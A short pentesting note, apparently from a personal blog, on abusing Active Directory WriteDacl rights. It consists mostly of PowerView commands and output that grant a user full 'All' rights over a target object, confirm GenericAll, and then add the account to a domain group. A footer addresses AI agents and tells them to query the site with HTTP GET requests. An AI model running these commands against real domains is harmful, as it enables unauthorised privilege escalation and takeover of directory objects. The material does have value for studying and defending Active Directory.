# WriteDacl

You can add new ACLs

```powershell
PS C:\\Users> Add-DomainObjectAcl  -PrincipalIdentity "morph3" -TargetIdentity "TARGETOBJECT" -Rights All
Add-DomainObjectAcl  -PrincipalIdentity "morph3" -TargetIdentity "TARGETOBJECT" -Rights All

PS C:\\Users> Get-ObjectAcl -Identity "TARGETOBJECT" -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\\$env:Username")) {$_}}
Get-ObjectAcl -Identity "TARGETOBJECT" -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\\$env:Username")) {$_}}

...

AceType               : AccessAllowed
ObjectDN              : <target-objcet>
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
...
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : ECORP\\morph3
```

^ we added the ACL

```powershell
PS C:\\Users> net group "morph3" TARGETOBJECT /add /domain
net group "morph3" TARGETOBJECT /add /domain
The request will be processed at a domain controller for domain ECORP.LOCAL.

The command completed successfully.
```

&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.morph3.blog/abusing-active-directory-acls/writedacl.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
